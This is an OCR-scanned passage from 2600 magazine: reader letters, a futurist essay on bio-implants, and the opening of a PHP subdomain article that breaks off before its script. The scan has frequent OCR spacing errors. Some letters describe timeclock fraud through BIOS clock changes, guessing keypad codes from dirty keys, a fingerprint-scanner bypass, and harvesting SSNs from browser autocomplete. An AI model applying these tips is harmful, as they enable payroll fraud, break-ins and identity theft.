is  payi ng  $2 ,000 per anti th eft shoppi ng  ca rt! At Food 4 
Less in Southern California nobody knows, but best guess 
seems to be $500 with two locki ng  wheels. 

There is a yellow li ne a round the  store but the  triggers 
for the wheels (which lock up very nicely) a re wi res buried 
i n  the  aspha lt or under  the sidewa l k .  I tri ed goi ng  around 
the yellow li ne  and  it locked up  where the wi res had been 
put i n  the pavement. 

S u m m e r  i! O O S  

A manager  said they have lost no  carts i n  the  t h ree 
weeks si n ce they got the  system a lthough  it does seem 
anybody with a couple of wrenches cou ld swap out the 
locki ng  wheel for  the  non- locki ng  ones pretty quickly. 

The manager  said they had a sort of remote control 
key that could u n lock the  carts easi ly so it is  probab ly an 
RF  trigger. I know a compass shows nothi ng  fun ny around 
the li nes so it is  not a simp le magnetic device. 

This does lead to the question of what frequency and if 
it is  coded . . . .  

OWA 

Dear 2600: 
The latest m i litary technology ( . . .  ri g ht) that's bei ng  

issued out to al l  personne l  ( a t  least i n  the Navy) is  what 
they call a " Navy Cash Card . "  Basi ca lly this is  a ca rd, much 
li ke a credit card, that is di rectly connected to you r  per­
sonal  ba n k  account  (whatever ba n k  you choose) . On the 
card is  a norma l  magnetic strip li ke al l  credit ca rds, but 
somethi ng  e lse they cal l  a "chip" is  i n sta lled on  the  middle 
left side of the  front. On my ship they have changed a ll the 
vendi ng mach ines so that they on ly take these cards in­
stead of money. lhis i s  supposed to e lim inate cash  on al l  
navy sh ips .  Basica lly how this works is ,  you put your card 
i n  an  ATM li ke mach ine  on  the ship and put you r  four  digit 
PIN in. Then you can tra nsfer funds (up to $25 )  onto the 
chip. You ca n a lso set up  a sepa rate account  li ke a normal  
ba n k  account  with no  limit on funds .  For  this account the 
machi ne  must read from the  stri p on the  back of the card .  
The vendi ng  mach ines however on ly read from the  chip 
and  you never have to enter a pi n n umber. So if someone 
steals you r  card, the  most they would be ab le to take from 
you without your pi n wou ld be $25 .  

OK,  I thi n k  t ha t  pretty much explai ns  the  ca rd . Now  
comes my questi on .  Si nce the c h i p  is  j ust digital i nforma­
ti on ,  contai n ing  o n ly a n  amount  of money (more than 
$25 )  is  it possi b le with  a reader/writer device attached to 
a computer to "make up"  your own fu nds ,  n ever ta ki n g  
t hem  from any ba n k  account> 

D3vUS 
These systems are popular in various parts of the world 

but haven 't made much of an inroad in the States as of yet. 
We'd like to know what kind of research has already been 
done with these chips. Let us know specific names of read­
ing equipment that is used and perhaps we can piece 
together some facts and theories. 

Curiosity 

Dear 2600: 
I recently discovered 2600 and  wish  I had been read­

i ng  your mag si n ce 1984. I 'm 26 years o ld and have just 
bought my fi rst Pc. I do not consider myself a computer 
hacker but I have a lways lived by the hacker mindset. 
Yesterday I was reading Stephen Hawking ' s  The Universe in 
a Nutshell" and something caught my eye. If you see 
somethi ng say somethi n g .  

hendon40 
The quote you sent us is indeed something to ponder: 
"By the year 2600 the world's population would be 

standing shoulder to shoulder, and the electricity con­
sumption would make the Earth glow red-hot. 

"If you stacked all the new books being published next 
to each other, you would have to move at ninety miles an 
hour just to keep up with the end of the line. Of course, by 
2600 new artistic and scientific work will come in elec-
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tronic forms, rather than as physical books and papers. 
Nevertheless, if the exponential growth continued, there 
would be ten papers a second in my kind of theoretical 
physics, and no time to read them. " 

Corporate Secrets 

Dear 2600: 
I work for the  teLephone  company he re in B riti sh Co­

Lumbia .  TeLus has put G PS units on most of the trucks used 
for i n sta LLation  and repai r. TeLus appa rentLy bought the 
Geomatics company that man ufactures these devices 
which a re supposed to be ab Le to show in rea L ti me  where a 
vehicle i s .  Th ese devi ces a re mounted on the  d river's 
fender  of the vehicles we d rive with other eLectronics 
boxed under  the  dash board i n side  the  vehicle. The sateL­
Lite antenna is a hockey puck size and  shaped device with 
a ceLL antenna mo Lded i nto it which sticks up  about th ree 
i n ches .  A coupLe of sma LL wi res feed down from the  hockey 
puck and  enter the  engine compartment and  feed through 
the  fi rewa LL to a b Lack box about the s ize of a cigar  box .  I 
ca n see Lig hts on this box through the  cracks where the  
moLded pieces of the dashboard f i t  together. Th i s  is  what I 
know and  u ndersta nd .  ALL our  managers have the  ab i lity to 
access the G PS program from their computer. They ca n teLL 
when we start our trucks i n  the morn ing ,  when we d rive 
away (and  there is  a detailed map associated with this that 
shows our  route) ,  ou r  speed, and i d Le time .  This i nforma­
tion is  sent via ceLL or  lX data tra nsmissi on .  If we get out 
of ceLL ra nge the  G PS i nformation  is  compi led and sent out 
when we do  reach ceLL com municati on .  TeLus has o n Ly 
stated that this is used in case our  trucks a re stoLen ,  how­
ever an upper manager  mista ken Ly sent an emai L  which we 
aLL saw, stati n g  he wanted the managers to use this to 
keep track of our  productivity and  I'm su re to be used as a 
reprimand  tool. I don 't know how to foo L  or thwart this ac­
tion other than putti ng a pie p Late over the  antenna which 
cou Ld a Lert ma nagement that we were foo Li n g  around with 
this device .  Is there a ny way we couLd create a jamming  
signa L  from with in  the  cab that  couLd screw with the com­
m unication  of either  the  sateLLite o r  the  ceLL tra nsmission? 
Does anyone have more tech nicaL i n formation  about how 
these devi ces work? 

Ti red of bei n g  followed 
PLease d o n 't use my n a m e  

Comfort yourself with the knowledge that there are 
people all over the place figuring out ways to subvert 
these things. We'll publish the results when we get them. 

Dear 2600: 
Re: " Best Buy's Uber Insecurity" in 2 1 :4 ,  I 'm goi ng  to 

have to either  caLL a b Luff on this one  or say it's a fluke. 
As a n  ex Best Buy tech nici an  I can teLL you that the 

hack that was descri bed wouLd not be possi b Le i n  a LL Best 
Buy Locations .  The n etwork the  writer most Li keLy con­
nected to was one  of the "geek squad" which is  on a VLAN 
of the  store's reguLar network. Web access is  restricted 
through the use of a proxy server ( 168 .94 .74. 68 :8080 ) .  ALL 
of Best Buy's a re uniform i n  setup .  The wi reLess network 
that the remoteLy Located registers a re a part of have to go 
through the  proxy server. 

Therefo re the writer must have connected to the "geek 
squad" n etwork (which needs proxy address a nyway) or  
the writer was i n  a new Best  Buy Location  that is  diffe rent 
from the other 650 or  so. Chang ing  b Locked ports wouLdn't 
necessari Ly a LLow a ccess to the  web . The biggest i n di cation  

that I have that  the  writer connected to the GS network 
and not the  store network i s  the  192 address. B B  corpo­
rate contro LLed networks a re 10.10 networks.  

Interesti ng Ly enough . . .  once on the  store's internaL 
n etwork any empLoyee's credentia Ls give access to many 
different thi ngs .  Even the Logi ns  of terminated emp Loyees 
or  those who have quit sti LL work sometimes .  

One  of the  i nteresti ng  hack s  t hat  we pu LLed off whi le I 
wo rked there was expLoiti ng the  punch i n/out process. We 
used a simp Le app Li cation  to punch  in a nd  out. The app  
verified you r  ti me i n/out with the  system's clock! The sys­
tem's clock was verified by the bios clock. The bios was not 
password protected .  So . . .  if you get my d rift, punch  i n  
anywhere, fi nd  a termi na L  that y o u  couLd get t o  bios from ,  
a Lter bios clock. Ten min utes' work j ust turned i nto 
ten hours' work. Easy to catch if you ' re doi n g  it in Large 
i ncrements. 

Obvious Ly the way to protect against this is  to Lock the 
bios out with a password and write software that checks a 
controLLed clock. 

Security Issues 

Dear 2600: 

K a o s  

In response to  Impact's Letter i n  22 :1 ,  some universi­
ties Li ke the one I go to wipe out the database every yea r. 
So even if you get an o Ld network card, that o Ld association 
between the MAC and the username is going to be gone 
a nyway. 

d bax 
The key word here being "some. " 

Dear 2600: 
In issue 21 .4  the a rti cle "H acki ng  LaGard ComboGard 

Locks" by AxOn mentioned that digita L Locks were more dif­
fi cuLt to "hack" than mechanicaL Locks due to things Li ke 
silent operation ,  etc. 

I 'd Li ke to point out a weakness in digita L Locks that of­
ten goes unmentioned.  In fact, it is  frequently easy to de­
duce most of the code of a digita L Lock j ust by a quick 
g Lance as you waLk by.  I have used this techn ique on more 
than one occasion to i nform a client as to their front door 
secu rity code a Long with a Lectu re about being  more secure. 

Specifi caLLy, the keys i n  the code a re most Li keLy di rty 
compared to the keys not in the code. U n Less someone is 
clea ning the keyboard on a dai Ly basis, oi Ls and  dirt accu­
mu Late on each key i n  the code each time the unit is  used. 
If a key appears twice, fo r exampLe, it wi LL be twice as di rty 
as the other keys. Either g Lanci ng  head on ,  or at an ang Le 
to the Light  (if the keys a re reLativeLy clea n ) ,  shou Ld expose 
which ones are more used than the others. 

Now that pretty much gives you the numbers i n  the 
combination - but what about the order? If there a re four  
num bers, there a re 16 possibi lities - but more than Li keLy 
Looki ng at the numbers wi lL give you hi nts as to the proper 
order. For exa mpLe, imagi ne that the 5 ,  2 ,  and  0 keys a re 
di rty and that a is much more di rty than 5 or 2. I wouLd be 
wi lLi ng  to guess the code is either "2005" or "5002 . "  You get 
the d rift. 

Even weLL clea ned keyboa rds have clues. Non-used keys 
wi LL be stiffer to gentle wiggLi ng  than the often used keys. 

Mora L? Clea n your  digita L keyboards and change your 
code frequentLy. 

a n o n y m o u s  
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Dear 2600: 
To bypass consumer level fi ngerprint  sca nners, j ust 

wrap the end of your fi nger  in a few layers of cellophane  
so you r  own pri nts ca n 't be read ,  then press down on the  
scan  pad hard .  The previous user 's pri nts wi ll sti ll be there 
and  with a little luck and  no smudging ,  you' l l  be authenti­
cated .  It 's  worked about 50 percent of the time .  

meatwad 
It can 't be this easy. We haven 't even seen this used in 

a movie. 

Dear 2600: 
Today I got the  weekly chain emai l from my sister. An­

other silly rant about some vi rus that wou ld take over your 
life if you so much as looked at it, b lah  b la h .  What rea lly 
got me was that this had been sent to her  by someone at 
DHS . gov! I wou ld thi n k  that the  Department of Homela nd  
Secu rity has enough  on i t s  hands  to worry about  than  
propagati n g  chain emails .  

Alop 
If only that's all they did. 

Dear 2600: 
Recently I was ta ki ng the  placement test at Mercer 

County Community Co llege h ere in New Jersey and made a 
very distu rbi ng  discovery. M CCC uses a web based testi ng  
system ca lled "ACCU PLACER" (which is  approved and  no r­
ma lized by the Co llege Board ) .  The client mach ines were 
sta ndard Wi ndows 98 machi nes ,  accessi ng  the ACCU­
PLACER  system via IE  (obvious ly this may be different at 
other locations ) .  

Before the test begi ns ,  you  a re asked  to enter your 
persona l  information i nto ACCU PLACER .  Whi le enteri ng  my 
i nformation ,  I noticed a d rop-down box appea red as  I en­
tered the first letter of my name .  It took a second  to rea l­
ize I was seei n g  a list of people's names who took the  test 
on this pa rticu la r  machi ne  which started with the sa me  
letter as mine .  Curiosity getti ng  the better of me ,  I skipped 
down to the  "Add ress" field and entered a 1 .  Sure enough ,  
I saw every address starti n g  with a 1 .  After a qu ick  
chuckle, a sudden  realization  struck me  as my eyes d rifted 
to the Student Identification  N umber (which i s  usua lly the  
person ' s  Socia l  Security Number) fie ld .  I entered a 1 and ,  
su re enoug h ,  I saw a list of  every SSN that started with  a 1 
that had been entered on this machine .  Now, keep in mind  
that you a re given paper  and  penci l  fo r scrap ,  a nd  most of 
the  time  the  proctor was either not in the  room or  not 
watch ing closely. 

It would be trivi a l  fo r somebody to sign up  for the  
placement test (after verifyi ng  over the phone  that ACCU­
PLACER  is  an  option )  at thei r  loca l college, which may be 
free, and genera lly carries no  ob ligation  to actua lly s ign 
up  for classes afterwa rds ,  a nd  leave with a few dozen SSNs 
written on a scrap of paper i n  their pocket. All the  person 
has lost a re the  two hours the  test takes .  

So who is  to b lame  for this? Prima ri ly I wou ld say it is  
a lapse i n  secu rity on the  client machi nes. Disabli n g  a ll 
Cache and  AutoComplete features would fix the problem 
on the  c lient end .  However, you have to question the 
wisdom of ACCU PLACER  usi ng  SSNs as identification  for  a 
si mp le p lacement test in the fi rst p lace . 

J ust thought I would get the word out for anyone who 
may be getti ng ready to take their placement tests that, 
fo r their own security, they may want to avoid ACCU PLACER  
if given the choice. 

MS3 FGX 

Dear 2600: 
I 'm writi n g  in regards to seei ng SSSS at the  ai rport. My 

wife and  I went on vacation this past week, a n d  because 
I 'm an  avid 2600 reader and we saw the  little bits of i nfo 
on it i n  your last issue we were keepi ng  our  eyes out for an  
SSSS on our  boardi ng  pass  j ust for laughs  and  g iggles. 
Havi ng  a ponytai l, somebody i n  my fami ly a lways seems to 
be searched at the airport. 

Well, we didn 't  see any SSSS on our boa rdi ng  pass. But 
we did see two sepa rate people with a big orange sti cker 
(about 3 "  x 10") with big h uge SSSS letters on  it. It looked 
li ke it had accompanied their boa rdi ng  passes as they were 
both ho ldi ng  the big ora nge sti cker a long with thei r  
boardi ng  pass. I m ea n ,  you could see this big orange 
sti cker clea r a cross the  room .  

Both people were o l d  and  clearly d i d  no t  p resent a 
th reat. One  was an o ld couple who was watch ing everyone  
very i ntently, li ke hawks.  And when  I made  eye contact 
with the  lady, s he  did not brea k eye contact with me at a ll. 
An o ld lady that doesn 't brea k eye contact with  a hippie 
looki ng  dude . . .  a little odd i n  my book.  I had to b rea k eye 
contact fi rst. The other orange SSSS sti cker we spotted 
was bei n g  held by a little frai l old lady who appeared to be 
by h erself. 

I'm writi ng you guys because I thi n k  it 's i mportant 
that as citizens we conti nue  to collaborate with each other 
and  sha re i nformati o n .  My opinion of this scene was that 
the  two orange SSSS sti cker ho lders were actua lly employ­
ees looki ng  for suspicious behavior  amongst the  passen­
gers.  One: they d idn 't even look  remotely th reateni ng .  
Two :  they were way too  observant o f  everyone  e lse, and  
that  lady not breaki ng  eye contact with me was  very un ­
usual .  I t  may  have been  nothi ng ,  but  for me it's un usual .  

Well ,  fo r whatever it 's  worth, there's some more i nfor­
mation  for us a ll. It confused the h ell out of us as this sce­
nario  d idn 't fit in with what we've read about SSSS at the  
ai rport. Th i s  happened at Sanford Internationa l  Ai rport in  
Florida i n  Apri l. 

Tha nks  fo r keepi ng  the  magazi ne  goi ng .  I a lways look 
forward to them .  I feel as though I have grown up  with you 
guys. 

Bob 

Dear 2600: 
With a ll the  pub li city rega rdi ng i ncreased "security" as 

pertai ns  to travel i n  or  out of the country, I 'm su rprised 
that we've not heard a nyth ing from those i n side  the air li n e  
i n d ustry. Without a doubt there a r e  i n dividua ls worki ng i n  
that field w h o  cou ld offer a new perspective i nto what's 
goi ng  on and give specifics the rest of us may not be privy 
to. 

If you see someth ing ,  say somethi ng .  
SSSSSSSS 

Our pages are open for their input and for that of all of 

our readers. 

Got a lette r fo r u s ?  S e n d  it on t h e  n et 
to letters @ 2 6 0 0 . c o m  or u s e  s n a i l m a i l : 
2 6 0 0  Lette rs,  PO B o x  9 9 ,  M i d d le I s la n d ,  
N Y  1 1 9 5 3  U SA .  
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I MPLANTS GONE? 
by Estragon 

So as I write this, I 'm i n  a 747 at 33 , 000 feet, 
h eadi ng  east over Tokyo . It' s been a n ice few days 
in Seou l, but now it's back to life a n d  job in the 
u .S .  of A .  Some thoug hts struck me  just n ow, 
though ,  that I wa nted to write about. I wa nted 
to sta rt with a questi o n :  Where have a ll the  
i m p la nts gone? 

This is 2005 .  Not o n ly did we make it to the 
21st century mo re o r  less i ntact, but the  pace of 
change ou r  g randpa rents a nd  g reat-grandpa rents 
lived th rough  in the 20th century is conti n u i ng .  
That sai d ,  why  the  heck do I n eed to  be here 
typi ng  i n stead of j ust thi n ki n g  my thoughts di­
rectly i nto cyberspace? Wasn 't I supposed to have 
a s lew of bio imp la nts to take ca re of these 
h umdrum aspects of modern life? 

Whi le I 'm aski ng ,  where a re my robots - a nd  
n ot j ust that a utomatic vacuum  thi ng  (though  I 
ad mit, those a re p retty cool)? What about 
nanobots to clea n out my bloodstrea m?  He ll, I 
saw a commercia l  ten yea rs ago from AT&T 
promisi ng  that I 'd be ab le to roll my who le shop­
pi ng  ca rt th rough  a checkout, a nd  someth ing  li ke 
RFID wou ld tal ly it all up .  Did a ny of this ha ppen? 
Well, at Home Depot they thi n k  it ' s  p retty cool  
that they ca n have one  person watchi ng  fou r  sep­
a rate people strugg le with self-ch eckout, thereby 
ta ki n g  about twi ce as long  to get through the  
process than  if  a p rofessiona l  checker-outer han ­
d led i t .  Th i s  i s  g reat fo r Home  Depot, b ut i sn 't ex­
actly the  type of techno logy that B ruce Sterli n g  
wa s  excited about when  he  wrote IsLands on the 
Net. 

There is some p retty cool stuff goi n g  o n .  No 
cu re fo r ca n cer, but those M RI machi n es a re neat 
a nd  give a p retty good pi ctu re of people 's i n sides .  
Have you noti ced that a utomatic  defi b ri llator 
machi nes a re avai la b le i n  many pub li c  p laces 
lately? And cell p hones - woa h !  OK, so AT&T 
cou ldn 't make enough  profit to avoi d bei n g  eaten 
by one of thei r offsp ri n g  (in true Oedi pus  style) ,  
but  they were a lways pretty hope less anyway. But  
d id  you  know that more people a re buyi n g  cus­
tom ri ng  tones fo r thei r  p hones than a re buyi n g  
di gita l music? And the tones a re about $ 3 ,  b ut 

the tunes a re mostly unde r  a buck !  Puri sts wi ll 
observe that the tun e  you buy comes with a ll 
types of digita l rig hts management stri ng s  at­
tached,  a n d  therefo re a re a waste of money. But 
who has  a phone  more than two yea rs o ld?  Ever 
heard of copyi ng  you r  down loaded ri ng  tones 
from  one  phone to a n other? But I d igress . 

Where a re my i m p la nts? To ta lk i n  my cell 
p hone, I need an  earbud o r  other  headset a n d  
microphone, i n stead o f  bei n g  ab le t o  h e a r  from a 
coc h lear i m p lant a nd  talk i nto a microphone  im ­
p lanted i n  my  li p .  O r  maybe t o  sub-voca lize to 
pi ckups at the back of my th roat. Su re, I rea lly 
want machi n es that ca n read my thoug hts a n d  
act on  t h em  - a t  least e nough  so that I ca n think 
about typi ng  the word "euphonious , "  a nd  have it 
s how up  on my screen without me  needi ng  to 
ca rpa l tu n n elize myself. Not that I don 't love 
emacs ,  b ut someti mes it's good to have an a lter­
native other  than vi ! 

I p layed with an EEG i n  1994 (e lectroen­
cep ha logram machi ne  - that's a brain wave 
reader  fo r the un i nitiated) that contro lled a 
mouse cursor on a computer. Is the p rob lem that 
there a re ma rketi n g  geni uses that know how to 
sell dozens of brands of near ly identi ca l colored 
sugary bubb le water at a p rofit, b ut n obody 
thought it would be suffi ciently cool to, say, j ust 
thi n k  you r  way a round  a kitchen?  Or  a factory? O r  
a n  ai r traffi c contro l tower? Sheesh ,  you cou ld 
put EEG sensors i n  a basebal l  cap a n d  thi n k/navi ­
gate you r  way a round  some web pages . So why 
am  I sti ll usi ng  a mouse o r  touchpad? 

Part of what the marketi n g  geni uses evidently 
thi n k  is that most people a re too lazy or stupid to 
fig u re out how th ings  work, or to want to change  
them . These fo lks were born a nd  b red on P.T. Ba r­
n u m 's  edict that nobody ever went b ro ke by un ­
deresti mati n g  human  i ntelligence .  They know 
quite well that ha lf of the popu lation  has a below 
average i ntelligence .  

B ut wait !  What about the other ha lf? The ha lf 
of above average i ntelligence? Remember  what 
M r. Spock told us :  Superi o r  i ntelligence b reeds 
superi o r  ambiti o n .  OK, so now we' re sta rti n g  to 
talk about some people who ,  li ke me, mi g ht enjoy 
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a n  imp la nt or two . Who  might want to do a little 
twea ki ng  of thei r  p hysica l a n d  vi rtua l  envi ron ­
ment. Maybe some fo lks who  s ee  " n o  u se r  ser­
viceab le pa rts i n side"  as a disappointment - o r  
even a cha llenge .  

Wa lk down a ny street, a nd  you ' ll see people 
who  a re prepared to hack  thei r  own bodies .  OK ,  
so  a body pierci n g  i sn 't a n  imp la nt, a n d  getti ng  a 
tattoo today i s n 't rea lly m uch mo re h igh  tech 
than  what the a n cient Egypti ans  enjoyed . B ut 
people want to hack  their  i n sides ,  too.  From gi n­
seng tea to diet pi l ls ,  pep pi lls, p heromones a nd ,  
o f  course, natura l ma le (o r  fema le) "en hance­
ment . "  You can even get one of those e lectronic 
muscle sti m u lators that Nea l  Stephenson  wrote 
about in Snow Crash, though  I have it on good 
a uthority that they' re a lmost exactly as usefu l at 
i m p rovi ng  you r  body's performa n ce as the rest of 
the d reck menti oned in this paragra p h .  

Computer games a re cool, a nd  Moore's law for 
the  doub li n g  of density of tra n sistors o n  a micro­
p rocesso r doesn 't loo k  li ke it's i n  a ny danger. B ut 
did the Mattel PowerG love of 1996 turn i nto a 
genera l  pu rpose devi ce (with much  h igher  reso­
luti o n )  fo r doi ng  stuff in cyberspace? Nope -
i n  fact, today's h igh  resoluti o n  vi rtua l  rea lity 
g loves a re sti l l  about $ 10,000 each .  If you want 
to i nteract with you r  e lectron ics remotely, try a 
"C la pper." 

If you ever ta lked with someone who g rew up 
d u ri n g  the 1950s (or a re such a perso n ) ,  they ca n 
tell you about a lot of si m i la r  p romises broken .  
T he  keyword was  "p rogress . "  From the 1939  New 
Yo rk World's Fai r  t h rough  the  Vietnam  Wa r era,  it 
was a ll about promises .  From ca rs that d rive 
themselves, to kitchens  that cook fo r you .  Tech­
no logy wou ld create a vastly mo re convenient 
world .  

Somehow, stuff that did n 't seem ha rd ( n ei ­
ther  then no r  today) did n 't happen .  Stuff that 
seemed i mpossib le is now everyday. Consider :  
you ca n buy a microch ip  controlled g reeti ng  ca rd 
at a ny ca rd shop  fo r a coup le of bucks a nd  th row 
it away with impunity. B ut if you want to read the 
latest good book ,  you 'd better  n ot li ke trees too 
much  - si n ce that book  i s  p robab ly o n ly avai la b le 
i n  p ri nt, n ot fo r down load .  ( Despite the  fact that 
the  book  was created end-to-end otherwise on  a 
computer. Don 't get me started . )  

Is it j ust p rofit m otive that's p reventi n g  me  
from ,  fo r exam p le, a lways knowi ng  my  b lood 
p ressu re a nd  cho lestero l count, j ust by pointi n g  
m y  fri end ly watch-mp3-gps-bluetooth-phone  de­
vice at my imp la nt? Is it the U . S .  FDA, stifli n g  
products by  ma ki n g  t hem  too  expensive? ( Did  
you know that  you can microch ip  you r  dog o r  cat 
in the U . S . ,  b ut you ca n 't microch ip  you rself o r  
you r  re latives? T h e  FDA hasn 't app roved mi­
crochips fo r h uman  use,  even though you can get 

them i n  many other p laces, li ke Mexico .  Did you 
know that many peop le get the  wrong  treatment 
i n  U.S .  h ospita ls every day, and that microchips 
would be a g reat way to help ma ke su re everyone  
gets the  right  treatment?) 

Hackers of the  world :  u nite ! We n eed to cha l­
lenge the  dominant paradi gm  and  b rea k down 
the ba rs of tech n ica l  i lliteracy. I sta rted writi n g  
today because I w a s  about t o  pass over Sendai ,  
a nd  was wonderi n g  where the  Ono-Sendai cyber­
space deck of Neuromancer was. It's n ot i n  the 
Yongsen E lectron ic  Vi l lage i n  Seou l  - I j ust 
loo ked . I've a lso looked in the e lectron ic  district 
of Tokyo , a nd  in Si licon Va lley. I happen to know 
some people at the Depa rtment of Defense and 
they don 't seem to have one  either. 

Who ' s  goi n g  to bu i ld this stuff if n ot us? The 
bu i ldi ng  b locks a re there - they' re j ust h idden be­
hi nd  sti ckers that say "warranty void if  removed . "  

Do y o u  thi n k  Wil li am Gibson was thi n ki n g  of 
somethi ng  li ke Goog le when he  wrote a bout cy­
berspace? I don 't thi n k  so .  In fact, somethi ng  li ke 
Google was thought of in the  1940s - check out 
As We May Think by Van n eva r Bush . V. Bush  was 
h u ng  up  o n  microfiche ,  the hot tec hno logy of the 
day, but he  had the  main concepts rig ht: he 
wanted to make mach ines that wou ld fun ctio n  as 
an extens ion to h uman  memory. Bertram C. 
B rookes named this "exosomatic  memory" in a 
1975  paper. In G ibson ' s  cyberspace, people im ­
mersed i n  a vi rtu a l  envi ro nment where they navi­
gated i n formati on  space rather than  p hysica l  
space - but even better, si n ce there a ren 't a ny 
physi ca l li mitati on s .  This sounds  li ke it would 
beat the  h eck out of d reaming  up the  ri ght  few 
sea rch terms fo r Goog le .  

Do you wa nt to loo k  back  o n  2005 i n  a few 
yea rs a n d  talk a bout how cool S la shdot was ( o r  
Kuro5h i n  o r  you r  favorite b logs o r  whatever)? 
Persona lly, I want to loo k  back a nd  talk about 
how this was the  yea r that thi ngs  sta rted to 
change .  About how this was the  yea r that the 
d rea ms of 1939  through 2004 decided to not rest 
in peace because ta lented people rea lized they 
couldn 't wait. Not o n ly is Sony n ot goi n g  to sta rt 
sel li n g  a cyberdeck soon ,  they 're worki n g  as ha rd 
as they ca n to ma ke su re that everyone  - a n d  this 
means  you - wi ll be  a Playstati oned ,  Viacomed,  
CDjDVD'd couch potato, who i s  too busy bei n g  
entertai ned and  overfed t o  k n o w  thei r  b rai n i s  
tu rni ng  t o  mush .  They want y o u  too busy wonder­
i n g  about the  n ext version  of you r  favorite game,  
o r  the  n ext b lockbuster movie, to rea lize that  you 
don 't even own the stuff you 've been b uyi n g .  

J ust li ke t h e  fab le o f  t h e  frog who  s low-boi led 
without rea lizi n g  it, the who le world popu lati o n  
i s  becoming  homogenized zombies - with a g row­
i n g  n u m ber  of poor a nd  disadvantaged to make 
su re the fat cats keep ridi ng  h ig h .  The worst pa rt 
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is the robbi n g  of opportunity. Opportunity lost 
beh ind  sti ckers sayi ng  "may o n ly be repai red by 
qua lified service techn ici an s . "  Opportunity lost 
by outdated textbooks in the c lassroom .  Oppor­
tunity lost by locki ng  down the n etwork connec­
tion s  a n d  computers at school, at home, a nd  i n  
t h e  dorms .  

The fight  for the futu re i s  bei n g  lost o n  m u lti­
p le fronts. As Spike Lee sai d ,  "Wake u p ! "  The WTO 
p rotest i n  Seattle was a majo r  turni ng  point, 
more so than even the 9/11 attack .  That was the 
event when "they" rea lized that g loba l  com m u ni­
cation  tec hno logy th reatened the  power struc­
ture li ke n othi ng  e lse si n ce the G uten berg Press 
( h ey, how did you thi n k  Ma rti n Luther p ri nted h is  
9 5  theses to post them on  the c hu rch doors a ny­
way? ) .  Si nce then ,  the US hegemony, World Bank  
a nd  othe r  shadowy powers have u sed  thei r  eco­
nomic  a n d  m i lita ry might to pu rsue their  own 
si ngu la r  agenda :  conti n uity (or g rowth )  of power. 
The g loves ca me  off. In every p rotest si n ce then , 
wo rldwide ,  people engagi n g  i n  peacefu l demon­
strati on s  have been clubbed ,  pepper sprayed,  
water ca n noned ,  a nd  otherwise abused for tryi ng  
to shape a better  world .  

It's a L L  about the  i nformati o n .  Every ti me  you 
get you r  own n ews, from Indymedi a ,  o r  Free 
Speech Radio News, or a b log or ma i li n g  li st -
without Fox, C NN ,  N BC, N PR ,  o r  you r  other  fa­
vorite loca l monopo ly as gatekeeper a n d  agenda 
setter - you th reaten the status quo  by becomi ng  

i nformed .  I f  you  took the n ext step of creati ng  
the  n ews, you  th reaten even fu rther. T he  Fifth 
HOPE  t-shi rts sai d it a ll: "I am the Medi a . "  A liter­
ate a nd  i n formed popu lati o n  tru ly i s  the o n ly way 
out. 

If you don 't want to end up li ke B la n k  Reg i n  
Max Headroom, you  better get busy putti n g  to­
gether  the pieces fo r one of those Live and Re­
mote ca meras .  As many discovered d u ri n g  the  
RNC  conventi on  i n  New Yo rk last yea r a nd  at  
Gitmo and  thousands  of other  imp rovi sed p ri sons  
a nd  tortu re camps ,  the  revo luti o n  wi ll most as­
su red ly not be televised .  At  least, n ot on  Di recTV, 
Ti me  Wa rner  Cab le,  etc. 

Pi ck  up you r  so lderi n g  i ro n !  G rab  you r  E EP­
ROM program mer !  Fig u re out how to fix a nd  im ­
p rove you r  stuff, rather  than  th rowi n g  i t  out a n d  
getti ng  a n other  a t  Wa lMa rt. Face i t :  if  the  powers 
that be fig u red they cou ld sell us somethi ng  li ke 
$3 ri n g  tones fo r ou r  imp la nts , we'd have 'em a l­
ready. It's about power a n d  about tech no logy. 
Li ke a lways, those in power want to keep it. 
Maybe an i mp lant  i sn 't the biggest th reat to 
power, b ut the fact that I'm sti ll waiti n g  fo r the  
checkout lady at Kroger, a n d  sti ll payi n g  Cellula r  
O n e ,  a nd  watchi ng  every darned packet take the 
sa me  exact route over the Internet, a re a ll 
symptoms .  The p romise of tech no logy has  o n ly 
been pa rtia lly de livered .  It's up to us to be the 
de liverato r. 

Adding Sub-Domain Support to ...,-V 
Yo u r  Free DotT K Do m a i n  * I � 

by Trent Brad ley 
a ka Blue Collar Camel 

Fo r those of you out there who a re cheap li ke 
me ,  you may use DotTK (www.dot.tk) to get a free 
top-level domai n  name .  Wh i le it is n i ce to have a 
free top-level domain  name ,  the  free version  of 
the  service was awfu lly li mited .  It offered few 
e-mai l add ress fo rwa rders a nd  no support fo r 
sub-domai ns .  

That's where PH P comes i n .  By usi ng  the  scri pt 
I appended at the end of this a rti cle as you r  i n ­
dex  fi le ( p resumab ly named i n dex. p h p ) ,  you  can 
add sub-domai ns  to you r  website. 

You do this by usi ng  the p redefi n ed PH P vari ­
ab le HTTP_REFERER .  The scri pt looks  at  
HTTP_REFERER a nd  rep laces ' ' http ://' ' ,  "www. " ,  
"you r  doma in  name" ,  " .tk" ,  a ll extra " . " ' s  (peri­
ods)  and a ll extra "/" (fo rward slashes) with 
b la n k  values .  It appends  a "/" (fo rward s la sh )  fo r 
picky servers. It then sends a header  back to the 

b rowser telli n g  it to redi rect to the  fo lder  that i s  
specifi ed by  the  sub-domain name  (i . e . ,  
http ://dl .down loadsite.tk/ redi rects to  http :// 
... www.you rwebsite . somefreeh ost.com/d lj) . 
Whether  or n ot you ca n do somethi ng  li ke 
http://d l. down loa dsite .tk/fi le .zip I don 't know. 

You ca n fi n d  a n  updated versi o n  of this script, 
a ny questi on s  that have been asked,  a n d  other  
a rti c les/scri pts at http ://www.b lueco lla rcame l  
... . n et/a rti cles;. 

Scri pt Setup 
1 .  Insert the scri pt appended to the end  of 

this a rti c le to the top of you r  i ndex page before 
the  [ htm l] tag .  

2 .  N o w  rename  t h e  i n dex fi le t o  "i n dex. p hp " .  
3 .  C hange the $yourDomain  vari ab le t o  what 

you r  DotTK domai n  i s .  ( Fo llow the i nstructi o n s  
i ncluded i n  the  scri pt . )  

4 .  Change the  $baseU RL  va ri ab le to what you r  
base U RL fo r t h e  scri pt i s .  ( Fo llow i nstructi on s  
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i n cluded i n  the  scri pt . )  
5 .  Open you r  DotTK URL and test to see if  the 

sub-domains  work .  
Sti ll have p rob Lems? He re a re some possi b Le 

so Lutions :  
1 .  There i s n 't PHP  support o n  you r  server. I f  

th i s  i s  the  case, you ' re out of L uck  u n Less some­
one  ports it to a nother  La nguage (i . e . ,  AS P, PerL) . 

< ? php 

/ * 

